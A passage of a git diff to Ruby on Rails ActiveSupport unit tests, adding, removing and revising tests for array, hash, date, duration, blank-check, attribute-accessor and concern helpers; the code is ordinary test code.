@@ -68,12 +70,6 @@ class ConcernTest < ActiveSupport::TestCase
assert_equal ConcernTest::Baz::ClassMethods, (class << @klass; self.included_modules; end)[0]
end
- def test_instance_methods_are_included
- @klass.send(:include, Baz)
- assert_equal "baz", @klass.new.baz
- assert @klass.included_modules.include?(ConcernTest::Baz)
- end
-
def test_included_block_is_ran
@klass.send(:include, Baz)
assert_equal true, @klass.included_ran
@@ -83,7 +79,7 @@ class ConcernTest < ActiveSupport::TestCase
@klass.send(:include, Bar)
assert_equal "bar", @klass.new.bar
assert_equal "bar+baz", @klass.new.baz
- assert_equal "baz", @klass.baz
+ assert_equal "bar's baz + baz", @klass.baz
assert @klass.included_modules.include?(ConcernTest::Bar)
end
diff --git a/activesupport/test/configurable_test.rb b/activesupport/test/configurable_test.rb
index d00273a028..ef847fc557 100644
--- a/activesupport/test/configurable_test.rb
+++ b/activesupport/test/configurable_test.rb
@@ -95,6 +95,20 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
config_accessor "invalid attribute name"
end
end
+
+ assert_raises NameError do
+ Class.new do
+ include ActiveSupport::Configurable
+ config_accessor "invalid\nattribute"
+ end
+ end
+
+ assert_raises NameError do
+ Class.new do
+ include ActiveSupport::Configurable
+ config_accessor "invalid\n"
+ end
+ end
end
def assert_method_defined(object, method)
diff --git a/activesupport/test/core_ext/array_ext_test.rb b/activesupport/test/core_ext/array_ext_test.rb
index 384064d81f..57722fd52a 100644
--- a/activesupport/test/core_ext/array_ext_test.rb
+++ b/activesupport/test/core_ext/array_ext_test.rb
@@ -212,18 +212,24 @@ class ArraySplitTests < ActiveSupport::TestCase
end
def test_split_with_argument
- assert_equal [[1, 2], [4, 5]], [1, 2, 3, 4, 5].split(3)
- assert_equal [[1, 2, 3, 4, 5]], [1, 2, 3, 4, 5].split(0)
+ a = [1, 2, 3, 4, 5]
+ assert_equal [[1, 2], [4, 5]], a.split(3)
+ assert_equal [[1, 2, 3, 4, 5]], a.split(0)
+ assert_equal [1, 2, 3, 4, 5], a
end
def test_split_with_block
- assert_equal [[1, 2], [4, 5], [7, 8], [10]], (1..10).to_a.split { |i| i % 3 == 0 }
+ a = (1..10).to_a
+ assert_equal [[1, 2], [4, 5], [7, 8], [10]], a.split { |i| i % 3 == 0 }
+ assert_equal [1, 2, 3, 4, 5, 6, 7, 8, 9 ,10], a
end
def test_split_with_edge_values
- assert_equal [[], [2, 3, 4, 5]], [1, 2, 3, 4, 5].split(1)
- assert_equal [[1, 2, 3, 4], []], [1, 2, 3, 4, 5].split(5)
- assert_equal [[], [2, 3, 4], []], [1, 2, 3, 4, 5].split { |i| i == 1 || i == 5 }
+ a = [1, 2, 3, 4, 5]
+ assert_equal [[], [2, 3, 4, 5]], a.split(1)
+ assert_equal [[1, 2, 3, 4], []], a.split(5)
+ assert_equal [[], [2, 3, 4], []], a.split { |i| i == 1 || i == 5 }
+ assert_equal [1, 2, 3, 4, 5], a
end
end
@@ -359,36 +365,6 @@ class ArrayExtractOptionsTests < ActiveSupport::TestCase
end
end
-class ArrayUniqByTests < ActiveSupport::TestCase
- def test_uniq_by
- ActiveSupport::Deprecation.silence do
- assert_equal [1,2], [1,2,3,4].uniq_by { |i| i.odd? }
- assert_equal [1,2], [1,2,3,4].uniq_by(&:even?)
- assert_equal((-5..0).to_a, (-5..5).to_a.uniq_by{ |i| i**2 })
- end
- end
-
- def test_uniq_by!
- a = [1,2,3,4]
- ActiveSupport::Deprecation.silence do
- a.uniq_by! { |i| i.odd? }
- end
- assert_equal [1,2], a
-
- a = [1,2,3,4]
- ActiveSupport::Deprecation.silence do
- a.uniq_by! { |i| i.even? }
- end
- assert_equal [1,2], a
-
- a = (-5..5).to_a
- ActiveSupport::Deprecation.silence do
- a.uniq_by! { |i| i**2 }
- end
- assert_equal((-5..0).to_a, a)
- end
-end
-
class ArrayWrapperTests < ActiveSupport::TestCase
class FakeCollection
def to_ary
diff --git a/activesupport/test/core_ext/big_decimal/yaml_conversions_test.rb b/activesupport/test/core_ext/big_decimal/yaml_conversions_test.rb
new file mode 100644
index 0000000000..e634679d20
--- /dev/null
+++ b/activesupport/test/core_ext/big_decimal/yaml_conversions_test.rb
@@ -0,0 +1,11 @@
+require 'abstract_unit'
+
+class BigDecimalYamlConversionsTest < ActiveSupport::TestCase
+ def test_to_yaml
+ assert_deprecated { require 'active_support/core_ext/big_decimal/yaml_conversions' }
+ assert_match("--- 100000.30020320320000000000000000000000000000001\n", BigDecimal.new('100000.30020320320000000000000000000000000000001').to_yaml)
+ assert_match("--- .Inf\n", BigDecimal.new('Infinity').to_yaml)
+ assert_match("--- .NaN\n", BigDecimal.new('NaN').to_yaml)
+ assert_match("--- -.Inf\n", BigDecimal.new('-Infinity').to_yaml)
+ end
+end
diff --git a/activesupport/test/core_ext/bigdecimal_test.rb b/activesupport/test/core_ext/bigdecimal_test.rb
index a5987044b9..423a3f2e9d 100644
--- a/activesupport/test/core_ext/bigdecimal_test.rb
+++ b/activesupport/test/core_ext/bigdecimal_test.rb
@@ -1,20 +1,7 @@
require 'abstract_unit'
-require 'bigdecimal'
require 'active_support/core_ext/big_decimal'
class BigDecimalTest < ActiveSupport::TestCase
- def test_to_yaml
- assert_match("--- 100000.30020320320000000000000000000000000000001\n", BigDecimal.new('100000.30020320320000000000000000000000000000001').to_yaml)
- assert_match("--- .Inf\n", BigDecimal.new('Infinity').to_yaml)
- assert_match("--- .NaN\n", BigDecimal.new('NaN').to_yaml)
- assert_match("--- -.Inf\n", BigDecimal.new('-Infinity').to_yaml)
- end
-
- def test_to_d
- bd = BigDecimal.new '10'
- assert_equal bd, bd.to_d
- end
-
def test_to_s
bd = BigDecimal.new '0.01'
assert_equal '0.01', bd.to_s
diff --git a/activesupport/test/core_ext/blank_test.rb b/activesupport/test/core_ext/blank_test.rb
index a68c074777..246bc7fa61 100644
--- a/activesupport/test/core_ext/blank_test.rb
+++ b/activesupport/test/core_ext/blank_test.rb
@@ -4,17 +4,29 @@ require 'abstract_unit'
require 'active_support/core_ext/object/blank'
class BlankTest < ActiveSupport::TestCase
- BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", ' ', [], {} ]
+ class EmptyTrue
+ def empty?
+ 0
+ end
+ end
+
+ class EmptyFalse
+ def empty?
+ nil
+ end
+ end
+
+ BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", ' ', "\u00a0", [], {} ]
NOT = [ EmptyFalse.new, Object.new, true, 0, 1, 'a', [nil], { nil => 0 } ]
def test_blank
- BLANK.each { |v| assert v.blank?, "#{v.inspect} should be blank" }
- NOT.each { |v| assert !v.blank?, "#{v.inspect} should not be blank" }
+ BLANK.each { |v| assert_equal true, v.blank?, "#{v.inspect} should be blank" }
+ NOT.each { |v| assert_equal false, v.blank?, "#{v.inspect} should not be blank" }
end
def test_present
- BLANK.each { |v| assert !v.present?, "#{v.inspect} should not be present" }
- NOT.each { |v| assert v.present?, "#{v.inspect} should be present" }
+ BLANK.each { |v| assert_equal false, v.present?, "#{v.inspect} should not be present" }
+ NOT.each { |v| assert_equal true, v.present?, "#{v.inspect} should be present" }
end
def test_presence
diff --git a/activesupport/test/core_ext/class/attribute_accessor_test.rb b/activesupport/test/core_ext/class/attribute_accessor_test.rb
deleted file mode 100644
index 0d5f39a72b..0000000000
--- a/activesupport/test/core_ext/class/attribute_accessor_test.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/class/attribute_accessors'
-
-class ClassAttributeAccessorTest < ActiveSupport::TestCase
- def setup
- @class = Class.new do
- cattr_accessor :foo
- cattr_accessor :bar, :instance_writer => false
- cattr_reader :shaq, :instance_reader => false
- cattr_accessor :camp, :instance_accessor => false
- end
- @object = @class.new
- end
-
- def test_should_use_mattr_default
- assert_nil @class.foo
- assert_nil @object.foo
- end
-
- def test_should_set_mattr_value
- @class.foo = :test
- assert_equal :test, @object.foo
-
- @object.foo = :test2
- assert_equal :test2, @class.foo
- end
-
- def test_should_not_create_instance_writer
- assert_respond_to @class, :foo
- assert_respond_to @class, :foo=
- assert_respond_to @object, :bar
- assert !@object.respond_to?(:bar=)
- end
-
- def test_should_not_create_instance_reader
- assert_respond_to @class, :shaq
- assert !@object.respond_to?(:shaq)
- end
-
- def test_should_not_create_instance_accessors
- assert_respond_to @class, :camp
- assert !@object.respond_to?(:camp)
- assert !@object.respond_to?(:camp=)
- end
-
- def test_should_raise_name_error_if_attribute_name_is_invalid
- exception = assert_raises NameError do
- Class.new do
- cattr_reader "1nvalid"
- end
- end
- assert_equal "invalid class attribute name: 1nvalid", exception.message
-
- exception = assert_raises NameError do
- Class.new do
- cattr_writer "1nvalid"
- end
- end
- assert_equal "invalid class attribute name: 1nvalid", exception.message
- end
-end
diff --git a/activesupport/test/core_ext/class/delegating_attributes_test.rb b/activesupport/test/core_ext/class/delegating_attributes_test.rb
index 148f82946c..447b1d10ad 100644
--- a/activesupport/test/core_ext/class/delegating_attributes_test.rb
+++ b/activesupport/test/core_ext/class/delegating_attributes_test.rb
@@ -6,14 +6,18 @@ module DelegatingFixtures
end
class Child < Parent
- superclass_delegating_accessor :some_attribute
+ ActiveSupport::Deprecation.silence do
+ superclass_delegating_accessor :some_attribute
+ end
end
class Mokopuna < Child
end
class PercysMom
- superclass_delegating_accessor :superpower
+ ActiveSupport::Deprecation.silence do
+ superclass_delegating_accessor :superpower
+ end
end
class Percy < PercysMom
@@ -29,7 +33,10 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
end
def test_simple_accessor_declaration
- single_class.superclass_delegating_accessor :both
+ assert_deprecated do
+ single_class.superclass_delegating_accessor :both
+ end
+
# Class should have accessor and mutator
# the instance should have an accessor only
assert_respond_to single_class, :both
@@ -39,14 +46,23 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
end
def test_simple_accessor_declaration_with_instance_reader_false
- single_class.superclass_delegating_accessor :no_instance_reader, :instance_reader => false
+ _instance_methods = single_class.public_instance_methods
+
+ assert_deprecated do
+ single_class.superclass_delegating_accessor :no_instance_reader, :instance_reader => false
+ end
+
assert_respond_to single_class, :no_instance_reader
assert_respond_to single_class, :no_instance_reader=
- assert !single_class.public_instance_methods.map(&:to_s).include?("no_instance_reader")
+ assert !_instance_methods.include?(:no_instance_reader)
+ assert !_instance_methods.include?(:no_instance_reader?)
+ assert !_instance_methods.include?(:_no_instance_reader)
end
def test_working_with_simple_attributes
- single_class.superclass_delegating_accessor :both
+ assert_deprecated do
+ single_class.superclass_delegating_accessor :both
+ end
single_class.both = "HMMM"
@@ -62,7 +78,11 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
def test_child_class_delegates_to_parent_but_can_be_overridden
parent = Class.new
- parent.superclass_delegating_accessor :both
+
+ assert_deprecated do
+ parent.superclass_delegating_accessor :both
+ end
+
child = Class.new(parent)
parent.both = "1"
assert_equal "1", child.both
@@ -94,4 +114,9 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
Child.some_attribute=nil
end
+ def test_deprecation_warning
+ assert_deprecated(/superclass_delegating_accessor is deprecated/) do
+ single_class.superclass_delegating_accessor :test_attribute
+ end
+ end
end
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
index aa5e4461fd..5d0af035cc 100644
--- a/activesupport/test/core_ext/date_ext_test.rb
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -25,6 +25,7 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
assert_equal "February 21st, 2005", date.to_s(:long_ordinal)
assert_equal "2005-02-21", date.to_s(:db)
assert_equal "21 Feb 2005", date.to_s(:rfc822)
+ assert_equal "2005-02-21", date.to_s(:iso8601)
end
def test_readable_inspect
@@ -247,6 +248,10 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
assert_equal Time.local(2005,2,21,0,0,0), Date.new(2005,2,21).beginning_of_day
end
+ def test_middle_of_day
+ assert_equal Time.local(2005,2,21,12,0,0), Date.new(2005,2,21).middle_of_day
+ end
+
def test_beginning_of_day_when_zone_is_set
zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
with_env_tz 'UTC' do
@@ -271,6 +276,23 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
end
end
+ def test_all_week
+ assert_equal Date.new(2011,6,6)..Date.new(2011,6,12), Date.new(2011,6,7).all_week
+ assert_equal Date.new(2011,6,5)..Date.new(2011,6,11), Date.new(2011,6,7).all_week(:sunday)
+ end
+
+ def test_all_month
+ assert_equal Date.new(2011,6,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_month
+ end
+
+ def test_all_quarter
+ assert_equal Date.new(2011,4,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_quarter
+ end
+
+ def test_all_year
+ assert_equal Date.new(2011,1,1)..Date.new(2011,12,31), Date.new(2011,6,7).all_year
+ end
+
def test_xmlschema
with_env_tz 'US/Eastern' do
assert_match(/^1980-02-28T00:00:00-05:?00$/, Date.new(1980, 2, 28).xmlschema)
@@ -363,10 +385,3 @@ class DateExtBehaviorTest < ActiveSupport::TestCase
end
end
-class DateExtConversionsTest < ActiveSupport::TestCase
- def test_to_time_in_current_zone_is_deprecated
- assert_deprecated(/to_time_in_current_zone/) do
- Date.new(2012,6,7).to_time_in_current_zone
- end
- end
-end
diff --git a/activesupport/test/core_ext/date_time_ext_test.rb b/activesupport/test/core_ext/date_time_ext_test.rb
index 571344b728..0a40aeb96c 100644
--- a/activesupport/test/core_ext/date_time_ext_test.rb
+++ b/activesupport/test/core_ext/date_time_ext_test.rb
@@ -18,6 +18,12 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal "Mon, 21 Feb 2005 14:30:00 +0000", datetime.to_s(:rfc822)
assert_equal "February 21st, 2005 14:30", datetime.to_s(:long_ordinal)
assert_match(/^2005-02-21T14:30:00(Z|\+00:00)$/, datetime.to_s)
+
+ with_env_tz "US/Central" do
+ assert_equal "2009-02-05T14:30:05-06:00", DateTime.civil(2009, 2, 5, 14, 30, 5, Rational(-21600, 86400)).to_s(:iso8601)
+ assert_equal "2008-06-09T04:05:01-05:00", DateTime.civil(2008, 6, 9, 4, 5, 1, Rational(-18000, 86400)).to_s(:iso8601)
+ assert_equal "2009-02-05T14:30:05+00:00", DateTime.civil(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
+ end
end
def test_readable_inspect
@@ -76,6 +82,10 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal DateTime.civil(2005,2,4,0,0,0), DateTime.civil(2005,2,4,10,10,10).beginning_of_day
end
+ def test_middle_of_day
+ assert_equal DateTime.civil(2005,2,4,12,0,0), DateTime.civil(2005,2,4,10,10,10).middle_of_day
+ end
+
def test_end_of_day
assert_equal DateTime.civil(2005,2,4,23,59,59), DateTime.civil(2005,2,4,10,10,10).end_of_day
end
diff --git a/activesupport/test/core_ext/duration_test.rb b/activesupport/test/core_ext/duration_test.rb
index 5e3987265b..c8f17f4618 100644
--- a/activesupport/test/core_ext/duration_test.rb
+++ b/activesupport/test/core_ext/duration_test.rb
@@ -27,9 +27,17 @@ class DurationTest < ActiveSupport::TestCase
def test_equals
assert 1.day == 1.day
assert 1.day == 1.day.to_i
+ assert 1.day.to_i == 1.day
assert !(1.day == 'foo')
end
+ def test_eql
+ assert 1.minute.eql?(1.minute)
+ assert 2.days.eql?(48.hours)
+ assert !1.second.eql?(1)
+ assert !1.eql?(1.second)
+ end
+
def test_inspect
assert_equal '0 seconds', 0.seconds.inspect
assert_equal '1 month', 1.month.inspect
@@ -37,6 +45,8 @@ class DurationTest < ActiveSupport::TestCase
assert_equal '6 months and -2 days', (6.months - 2.days).inspect
assert_equal '10 seconds', 10.seconds.inspect
assert_equal '10 years, 2 months, and 1 day', (10.years + 2.months + 1.day).inspect
+ assert_equal '10 years, 2 months, and 1 day', (10.years + 1.month + 1.day + 1.month).inspect
+ assert_equal '10 years, 2 months, and 1 day', (1.day + 10.years + 2.months).inspect
assert_equal '7 days', 1.week.inspect
assert_equal '14 days', 1.fortnight.inspect
end
@@ -50,12 +60,10 @@ class DurationTest < ActiveSupport::TestCase
end
def test_argument_error
- 1.second.ago('')
- flunk("no exception was raised")
- rescue ArgumentError => e
+ e = assert_raise ArgumentError do
+ 1.second.ago('')
+ end
assert_equal 'expected a time or date, got ""', e.message, "ensure ArgumentError is not being raised by dependencies.rb"
- rescue Exception => e
- flunk("ArgumentError should be raised, but we got #{e.class} instead")
end
def test_fractional_weeks
@@ -68,6 +76,19 @@ class DurationTest < ActiveSupport::TestCase
assert_equal 86400 * 1.7, 1.7.days
end
+ def test_since_and_ago
+ t = Time.local(2000)
+ assert t + 1, 1.second.since(t)
+ assert t - 1, 1.second.ago(t)
+ end
+
+ def test_since_and_ago_without_argument
+ now = Time.now
+ assert 1.second.since >= now + 1
+ now = Time.now
+ assert 1.second.ago >= now - 1
+ end
+
def test_since_and_ago_with_fractional_days
t = Time.local(2000)
# since
@@ -93,10 +114,10 @@ class DurationTest < ActiveSupport::TestCase
with_env_tz 'US/Eastern' do
Time.stubs(:now).returns Time.local(2000)
# since
- assert_equal false, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+ assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
assert_equal Time.local(2000,1,1,0,0,5), 5.seconds.since
# ago
- assert_equal false, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+ assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
assert_equal Time.local(1999,12,31,23,59,55), 5.seconds.ago
end
end
@@ -106,11 +127,11 @@ class DurationTest < ActiveSupport::TestCase
with_env_tz 'US/Eastern' do
Time.stubs(:now).returns Time.local(2000)
# since
- assert_equal true, 5.seconds.since.is_a?(ActiveSupport::TimeWithZone)
+ assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.since
assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time
assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name
# ago
- assert_equal true, 5.seconds.ago.is_a?(ActiveSupport::TimeWithZone)
+ assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago
assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time
assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name
end
@@ -142,6 +163,11 @@ class DurationTest < ActiveSupport::TestCase
assert_equal '172800', 2.days.to_json
end
+ def test_case_when
+ cased = case 1.day when 1.day then "ok" end
+ assert_equal cased, "ok"
+ end
+
protected
def with_env_tz(new_tz = 'US/Eastern')
old_tz, ENV['TZ'] = ENV['TZ'], new_tz
diff --git a/activesupport/test/core_ext/enumerable_test.rb b/activesupport/test/core_ext/enumerable_test.rb
index 6781e3c20e..6fcf6e8743 100644
--- a/activesupport/test/core_ext/enumerable_test.rb
+++ b/activesupport/test/core_ext/enumerable_test.rb
@@ -8,7 +8,6 @@ class SummablePayment < Payment
end
class EnumerableTests < ActiveSupport::TestCase
- Enumerator = [].each.class
class GenericEnumerable
include Enumerable
@@ -21,26 +20,6 @@ class EnumerableTests < ActiveSupport::TestCase
end
end
- def test_group_by
- names = %w(marcel sam david jeremy)
- klass = Struct.new(:name)
- objects = (1..50).map do
- klass.new names.sample
- end
-
- enum = GenericEnumerable.new(objects)
- grouped = enum.group_by { |object| object.name }
-
- grouped.each do |name, group|
- assert group.all? { |person| person.name == name }
- end
-
- assert_equal objects.uniq.map(&:name), grouped.keys
- assert({}.merge(grouped), "Could not convert ActiveSupport::OrderedHash into Hash")
- assert_equal Enumerator, enum.group_by.class
- assert_equal grouped, enum.group_by.each(&:name)
- end
-
def test_sums
enum = GenericEnumerable.new([5, 15, 10])
assert_equal 30, enum.sum
@@ -94,6 +73,10 @@ class EnumerableTests < ActiveSupport::TestCase
assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
payments.index_by { |p| p.price })
assert_equal Enumerator, payments.index_by.class
+ if Enumerator.method_defined? :size
+ assert_equal nil, payments.index_by.size
+ assert_equal 42, (1..42).index_by.size
+ end
assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
payments.index_by.each { |p| p.price })
end
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index c6d7ab618c..d824a16e98 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -23,6 +23,16 @@ class HashExtTest < ActiveSupport::TestCase
end
end
+ class HashByConversion
+ def initialize(hash)
+ @hash = hash
+ end
+
+ def to_hash
+ @hash
+ end
+ end
+
def setup
@strings = { 'a' => 1, 'b' => 2 }
@nested_strings = { 'a' => { 'b' => { 'c' => 3 } } }
@@ -54,6 +64,8 @@ class HashExtTest < ActiveSupport::TestCase
assert_respond_to h, :deep_stringify_keys!
assert_respond_to h, :to_options
assert_respond_to h, :to_options!
+ assert_respond_to h, :compact
+ assert_respond_to h, :compact!
end
def test_transform_keys
@@ -409,6 +421,12 @@ class HashExtTest < ActiveSupport::TestCase
assert [updated_with_strings, updated_with_symbols, updated_with_mixed].all? { |h| h.keys.size == 2 }
end
+ def test_update_with_to_hash_conversion
+ hash = HashWithIndifferentAccess.new
+ hash.update HashByConversion.new({ :a => 1 })
+ assert_equal hash['a'], 1
+ end
+
def test_indifferent_merging
hash = HashWithIndifferentAccess.new
hash[:a] = 'failure'
@@ -428,6 +446,12 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal 2, hash['b']
end
+ def test_merge_with_to_hash_conversion
+ hash = HashWithIndifferentAccess.new
+ merged = hash.merge HashByConversion.new({ :a => 1 })
+ assert_equal merged['a'], 1
+ end
+
def test_indifferent_replace
hash = HashWithIndifferentAccess.new
hash[:a] = 42
@@ -440,6 +464,18 @@ class HashExtTest < ActiveSupport::TestCase
assert_same hash, replaced
end
+ def test_replace_with_to_hash_conversion
+ hash = HashWithIndifferentAccess.new
+ hash[:a] = 42
+
+ replaced = hash.replace(HashByConversion.new(b: 12))
+
+ assert hash.key?('b')
+ assert !hash.key?(:a)
+ assert_equal 12, hash[:b]
+ assert_same hash, replaced
+ end
+
def test_indifferent_merging_with_block
hash = HashWithIndifferentAccess.new
hash[:a] = 1
@@ -487,6 +523,12 @@ class HashExtTest < ActiveSupport::TestCase
assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
end
+ def test_indifferent_select_returns_a_hash_when_unchanged
+ hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select {|k,v| true}
+
+ assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+ end
+
def test_indifferent_select_bang
indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
indifferent_strings.select! {|k,v| v == 1}
@@ -593,7 +635,7 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal 1, h['first']
end
- def test_indifferent_subhashes
+ def test_indifferent_sub_hashes
h = {'user' => {'id' => 5}}.with_indifferent_access
['user', :user].each {|user| [:id, 'id'].each {|id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5"}}
@@ -618,10 +660,15 @@ class HashExtTest < ActiveSupport::TestCase
{ :failure => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
end
- assert_raise(ArgumentError, "Unknown key: failore") do
+ exception = assert_raise ArgumentError do
{ :failore => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
+ end
+ assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
+
+ exception = assert_raise ArgumentError do
{ :failore => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
end
+ assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
end
def test_assorted_keys_not_stringified
@@ -701,12 +748,6 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal expected, merged
end
- def test_diff
- assert_deprecated do
- assert_equal({ :a => 2 }, { :a => 2, :b => 5 }.diff({ :a => 1, :b => 5 }))
- end
- end
-
def test_slice
original = { :a => 'x', :b => 'y', :c => 10 }
expected = { :a => 'x', :b => 'y' }
@@ -781,6 +822,24 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal 'bender', slice['login']
end
+ def test_slice_bang_does_not_override_default
+ hash = Hash.new(0)
+ hash.update(a: 1, b: 2)
+
+ hash.slice!(:a)
+
+ assert_equal 0, hash[:c]
+ end
+
+ def test_slice_bang_does_not_override_default_proc
+ hash = Hash.new { |h, k| h[k] = [] }
+ hash.update(a: 1, b: 2)
+
+ hash.slice!(:a)
+
+ assert_equal [], hash[:c]
+ end
+
def test_extract
original = {:a => 1, :b => 2, :c => 3, :d => 4}
expected = {:a => 1, :b => 2}
@@ -842,6 +901,38 @@ class HashExtTest < ActiveSupport::TestCase
original.expects(:delete).never
original.except(:a)
end
+
+ def test_compact
+ hash_contain_nil_value = @symbols.merge(z: nil)
+ hash_with_only_nil_values = { a: nil, b: nil }
+
+ h = hash_contain_nil_value.dup
+ assert_equal(@symbols, h.compact)
+ assert_equal(hash_contain_nil_value, h)
+
+ h = hash_with_only_nil_values.dup
+ assert_equal({}, h.compact)
+ assert_equal(hash_with_only_nil_values, h)
+ end
+
+ def test_compact!
+ hash_contain_nil_value = @symbols.merge(z: nil)
+ hash_with_only_nil_values = { a: nil, b: nil }
+
+ h = hash_contain_nil_value.dup
+ assert_equal(@symbols, h.compact!)
+ assert_equal(@symbols, h)
+
+ h = hash_with_only_nil_values.dup
+ assert_equal({}, h.compact!)
+ assert_equal({}, h)
+ end
+
+ def test_new_with_to_hash_conversion
+ hash = HashWithIndifferentAccess.new(HashByConversion.new(a: 1))
+ assert hash.key?('a')
+ assert_equal 1, hash[:a]
+ end
end
class IWriteMyOwnXML
diff --git a/activesupport/test/core_ext/kernel/concern_test.rb b/activesupport/test/core_ext/kernel/concern_test.rb
new file mode 100644
index 0000000000..9b1fdda3b0
--- /dev/null
+++ b/activesupport/test/core_ext/kernel/concern_test.rb
@@ -0,0 +1,12 @@
+require 'abstract_unit'
+require 'active_support/core_ext/kernel/concern'
+
+class KernelConcernTest < ActiveSupport::TestCase
+ def test_may_be_defined_at_toplevel
+ mod = ::TOPLEVEL_BINDING.eval 'concern(:ToplevelConcern) { }'
+ assert_equal mod, ::ToplevelConcern
+ assert_kind_of ActiveSupport::Concern, ::ToplevelConcern
+ assert !Object.ancestors.include?(::ToplevelConcern), mod.ancestors.inspect
+ Object.send :remove_const, :ToplevelConcern
+ end
+end
diff --git a/activesupport/test/core_ext/kernel_test.rb b/activesupport/test/core_ext/kernel_test.rb
index b8951de402..d8bf81d02b 100644
--- a/activesupport/test/core_ext/kernel_test.rb
+++ b/activesupport/test/core_ext/kernel_test.rb
@@ -38,6 +38,22 @@ class KernelTest < ActiveSupport::TestCase
# Skip if we can't STDERR.tell
end
+ def test_silence_stream
+ old_stream_position = STDOUT.tell
+ silence_stream(STDOUT) { STDOUT.puts 'hello world' }
+ assert_equal old_stream_position, STDOUT.tell
+ rescue Errno::ESPIPE
+ # Skip if we can't stream.tell
+ end
+
+ def test_silence_stream_closes_file_descriptors
+ stream = StringIO.new
+ dup_stream = StringIO.new
+ stream.stubs(:dup).returns(dup_stream)
+ dup_stream.expects(:close)
+ silence_stream(stream) { stream.puts 'hello world' }
+ end
+
def test_quietly
old_stdout_position, old_stderr_position = STDOUT.tell, STDERR.tell
quietly do
@@ -121,4 +137,4 @@ class KernelDebuggerTest < ActiveSupport::TestCase
ensure
Object.send(:remove_const, :Rails)
end
-end
+end if RUBY_VERSION < '2.0.0'
diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb
index a577f90bdd..48f3cc579f 100644
--- a/activesupport/test/core_ext/module/attribute_accessor_test.rb
+++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb
@@ -8,6 +8,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
mattr_accessor :bar, :instance_writer => false
mattr_reader :shaq, :instance_reader => false
mattr_accessor :camp, :instance_accessor => false
+
+ cattr_accessor(:defa) { 'default_accessor_value' }
+ cattr_reader(:defr) { 'default_reader_value' }
+ cattr_writer(:defw) { 'default_writer_value' }
+ cattr_accessor(:quux) { :quux }
end
@class = Class.new
@class.instance_eval { include m }
@@ -27,6 +32,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
assert_equal :test2, @module.foo
end
+ def test_cattr_accessor_default_value
+ assert_equal :quux, @module.quux
+ assert_equal :quux, @object.quux
+ end
+
def test_should_not_create_instance_writer
assert_respond_to @module, :foo
assert_respond_to @module, :foo=
@@ -46,16 +56,24 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
end
def test_should_raise_name_error_if_attribute_name_is_invalid
- assert_raises NameError do
+ exception = assert_raises NameError do
Class.new do
- mattr_reader "invalid attribute name"
+ cattr_reader "1nvalid"
end
end
+ assert_equal "invalid attribute name: 1nvalid", exception.message
- assert_raises NameError do
+ exception = assert_raises NameError do
Class.new do
- mattr_writer "invalid attribute name"
+ cattr_writer "1nvalid"
end
end
+ assert_equal "invalid attribute name: 1nvalid", exception.message
+ end
+
+ def test_should_use_default_value_if_block_passed
+ assert_equal 'default_accessor_value', @module.defa
+ assert_equal 'default_reader_value', @module.defr
+ assert_equal 'default_writer_value', @module.class_variable_get('@@defw')
end
end
diff --git a/activesupport/test/core_ext/module/concerning_test.rb b/activesupport/test/core_ext/module/concerning_test.rb
new file mode 100644
index 0000000000..07d860b71c
--- /dev/null
+++ b/activesupport/test/core_ext/module/concerning_test.rb
@@ -0,0 +1,65 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/concerning'
+
